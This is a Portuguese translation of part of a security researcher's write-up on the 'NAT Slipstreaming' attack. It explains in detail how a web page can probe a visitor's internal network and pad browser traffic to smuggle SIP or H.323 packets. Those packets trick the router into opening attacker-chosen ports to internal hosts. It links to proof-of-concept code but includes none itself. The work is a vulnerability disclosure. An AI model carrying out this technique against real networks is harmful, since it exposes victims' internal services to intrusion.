Conseguimos isso primeiro produzindo tags `` HTML ocultas na página, todas para gateways comuns (192.168.*.1, 10.0.0.1 e [outros](https://github.com/samyk/slipstream/blob/main/server#L159)), juntamente com eventos Javascript `onsuccess` e `onerror`. Cada vez que uma img é escrita na página, um temporizador é iniciado e, se o `onsuccess` carregar, isso significa que o IP respondeu com um servidor web; se nenhum servidor web estiver rodando mas o IP estiver na rede, ele enviará um TCP RST (reset, significando porta não aberta) de volta, acionando o `onerror`. Se nenhum IP existir, nenhum RST é enviado e a resposta levará > 1 segundo, momento em que sabemos que o IP não existe em nossa rede.

Assim que vemos um desses eventos disparar, sabemos uma potencial sub-rede interna em que estamos; então realizamos o mesmo ataque para cada IP na sub-rede (ex: 192.168.0.[2-255]), e desta vez realizamos uma temporização mais precisa para determinar qual IP responde **mais rápido**. Este é provavelmente nosso próprio IP interno (vítima), pois nem precisamos sair da interface de rede. Mesmo que não sejamos os primeiros por algum motivo, ainda tentamos nosso ataque em todos os IPs que responderam na rede.

## Confusão de Protocolo do Navegador

Assim que o cliente obtém os tamanhos dos pacotes e o endereço IP interno, ele constrói um formulário web especialmente criado que preenche os dados POST até acreditarmos que o pacote será fragmentado, momento em que nosso SIP REGISTER contendo o endereço IP interno é anexado. O formulário é submetido via Javascript sem consentimento da vítima. :)

[![pacote bem-sucedido dividido em pacote SIP válido](https://assets.kitploit.com/production/public/readmes/3946/9d8133cafc497975e4bfc89034da0246e8bdd460f73b213e91d71bf14dd097e6.png)](img/pinpkt.png)

### Alteração de Pacote ao Vivo no Navegador

Em nosso servidor de ataque, como podemos ver os pacotes chegando, verificamos se o pacote SIP foi reescrito com o endereço IP público. Se não foi, comunicamos de volta ao cliente (automaticamente) que o pacote SIP não estava no limite de pacote esperado e não foi reescrito, e fornecemos a nova posição do limite a partir do nosso sniffer.

O código cliente ajusta automaticamente seu tamanho de pacote para o novo tamanho apenas após duas falhas consecutivas. Alguns navegadores (Firefox) às vezes terão um tamanho de pacote ligeiramente diferente devido ao multipart-boundary que geram para o formulário, que, ao contrário da maioria dos outros navegadores, não tem um comprimento fixo. Acho que após cerca de 10 tentativas, o mesmo tamanho será usado e o ataque será bem-sucedido.

Assim que o pacote SIP cair no limite de pacote, o NAT será enganado, acreditando que é um registro SIP legítimo e de um cliente SIP na máquina da vítima. Uma vez que nosso servidor responda com uma resposta SIP adequada (aninhada dentro de uma resposta HTTP apropriada para que o navegador não detecte nada suspeito), o NAT abrirá a porta no pacote original que fizemos a vítima enviar, e o roteador agora **encaminhará qualquer porta que o atacante escolher de volta para a vítima interna, tudo simplesmente navegando para um site**.

Ataque completo. O atacante pode agora se conectar a serviços TCP/UDP arbitrários em execução na vítima.

# Outras Descobertas

Estas não são usadas neste ataque, mas são interessantes e poderiam potencialmente ser usadas para outros ataques.

- A fragmentação IP permite controle total de todos os dados na seção de dados IP, significando controle total de um cabeçalho UDP incluindo portas de origem/destino no pacote com overflow
  - A pilha IP da vítima remonta e não analisará os dados, no entanto o NAT pelo qual o pacote passa será suscetível
  - Permite contornar firewall do navegador ou do sistema, pois apenas a porta UDP que é inspecionada é o pacote original, não o pacote fragmentado com overflow
- DoS em um cliente SIP enviando `Expires: 0` e removendo o conntrack de outra pessoa
- Se uma porta já está ocupada, a porta ouvida é incrementada até que a porta transborde para 0
- STUN não tem autenticação implementada em nenhum navegador moderno

# Download

Obrigado por ler! Você pode baixar o código de prova de conceito do meu [github do NAT Slipstream](https://github.com/samyk/slipstream).

# Contato

**Ponto de Contato:** [@SamyKamkar](https://twitter.com/samykamkar)

Encontre mais dos meus projetos em <https://samy.pl> ou entre em contato via <[email protected]>.
Baixar ferramenta
RFC 793 x3.1
  • grande beacon UDP enviado do navegador via mecanismo de autenticação TURN do WebRTC para porta não padrão do servidor do atacante para forçar fragmentação IP com o campo username do TURN preenchido
    • realizamos um ataque semelhante ao de segmentação TCP, mas sobre UDP, pois a fragmentação IP ocorrerá e fornecerá valores diferentes da segmentação TCP
    • tamanho MTU da vítima, tamanho do cabeçalho IP, tamanho do pacote IP, tamanho do cabeçalho TCP, tamanhos dos segmentos TCP detectados pelo servidor e enviados de volta ao navegador da vítima, usados posteriormente para preenchimento de pacotes
  • (v1) "Pacote SIP" gerado em novo formulário oculto, contendo o IP interno para acionar o rastreamento de conexão do Application Level Gateway
    • "POST HTTP" para o servidor na porta TCP 5060 (porta SIP) iniciado, evitando portas restritas do navegador
    • os dados do POST são "preenchidos" até o tamanho exato do segmento TCP / limite do pacote, em seguida, "pacote SIP" anexado e postado via formulário web
    • a pilha IP da vítima divide o POST em múltiplos pacotes TCP, deixando o "pacote SIP" (como parte dos dados do POST) em seu próprio pacote TCP sem nenhum cabeçalho HTTP acompanhante
    • se o navegador alterar o tamanho do limite multipart/form (Firefox) ou o tamanho do pacote mudar por qualquer outro motivo, a mudança de tamanho é comunicada de volta ao cliente e o cliente reenvia automaticamente com o novo tamanho
    • ao abrir porta UDP, o pacote SIP é enviado sobre o protocolo TURN dentro do campo username especialmente criado, forçando fragmentação IP e controle preciso de limite
  • (v2) "Pacote H.323" usando conexão STUN baseada em TCP (contornando patches para v1 e restrições de porta do navegador) gerado, contendo o IP interno para acionar o rastreamento de conexão do Application Level Gateway, mas forçando um redirecionamento para qualquer outro host na rede em um pacote de "encaminhamento de chamada"
    • "Encaminhamento de chamada H.323" para o servidor na porta TCP 1720 (porta H.323) iniciado, evitando portas restritas do navegador, apesar da porta estar bloqueada — evasão de porta realizada usando o recurso STUN do WebRTC que não respeita a lista de portas restritas
    • o campo username é "preenchido" até o tamanho exato do segmento TCP / limite do pacote, em seguida, o “pacote H.323” anexado e postado via formulário web
    • a pilha IP da vítima divide o POST em múltiplos pacotes TCP, deixando o "pacote H.323" (como parte dos dados STUN) em seu próprio pacote TCP sem nenhum cabeçalho HTTP acompanhante
    • se o navegador alterar o tamanho do limite multipart/form (Firefox) ou o tamanho do pacote mudar por qualquer outro motivo, a mudança de tamanho é comunicada de volta ao cliente e o cliente reenvia automaticamente com o novo tamanho
  • o NAT da vítima vê um pacote SIP REGISTER adequado na porta SIP ou um pacote adequado de encaminhamento de chamada H.323 (sem dados HTTP), acionando o ALG para abrir qualquer porta TCP/UDP definida no pacote de volta para qualquer host da vítima na rede
    • o NAT da vítima reescreve o pacote SIP ou H.323, substituindo o IP interno pelo IP público, sinalizando ao atacante que a exploração foi bem-sucedida
    • (v2) como o encaminhamento de chamada H.323 pode direcionar para qualquer outro IP, o pacote pode conter qualquer IP interno de qualquer outro host na rede da vítima, acionando o NAT para encaminhar portas para qualquer sistema na rede
    • mesmo que o NAT da vítima normalmente reescreva as portas de origem, o ALG ainda será forçado a encaminhar portas para a porta escolhida pelo atacante, pois acredita que a máquina da vítima (ou outra máquina na rede, inteiramente determinada pelo atacante) abriu essa porta e o atacante vê a nova porta de origem no pacote SIP/H.323 que chega
    • o atacante agora pode ignorar o NAT da vítima e conectar-se diretamente de volta a qualquer porta em qualquer máquina na rede, expondo serviços e sistemas anteriormente protegidos/ocultos
  • para investigar...talvez por você?
    • uso não malicioso: esta técnica essencialmente dá aos navegadores capacidade total de soquete TCP e UDP para se comunicar com qualquer protocolo localmente no sistema; a conexão pode ser abstraída através de um servidor em nuvem que se conecta de volta, mas o navegador apenas fala com o servidor em nuvem como se fosse o soquete e torna os navegadores muito mais poderosos para se comunicar em protocolos não amigáveis à web
    • se testando em uma máquina virtual (VM) usando rede compartilhada (usada para proteger um host de ataques, roteando através do host, não deixando diretamente na rede), se os pacotes saírem, a máquina host pai é onde as portas acabam sendo abertas, não a VM ;)
    • a fragmentação IP permite controle total de todos os dados na seção de dados IP, significando controle total do cabeçalho UDP, incluindo portas de origem/destino no pacote de estouro...o que mais isso poderia abusar?
  • process_sip_request(...)
  • strncasecmp(*dptr, handler->method, ...) o handler abortará a menos que o método (ex., REGISTER) ocorra no início da porção de dados do pacote (TCP ou UDP) como vimos com INVITE acima...REGISTER é apenas outro comando SIP
  • este é um desafio, pois se estivermos usando apenas um navegador web, não podemos produzir uma conexão TCP raw e iniciar qualquer pacote com os nossos próprios dados, já que será preenchido com cabeçalhos HTTP/TLS... ou será que podemos?
  • process_register_request(...)nf_ct_expect_init(...) via sip_handlers inicializamos o pinhole de firewall (porta para permitir que uma pessoa remota se conecte de volta), mas ainda não abrimos
  • nf_nat_sip_hooks -> nf_nat_sip(...) o NAT também manipula (reescreve) o endereço IP interno do cliente para o IP público do NAT para que o destino possa alcançá-lo adequadamente
  • sip_help_tcp(...) -> process_sip_msg(...) ->
    • process_sip_response(...) agora estamos olhando para a resposta SIP do servidor SIP
      • process_register_response(...) -> refresh_signalling_expectation(...) a porta é encaminhada pelo NAT apenas depois que uma resposta SIP válida é enviada pelo servidor SIP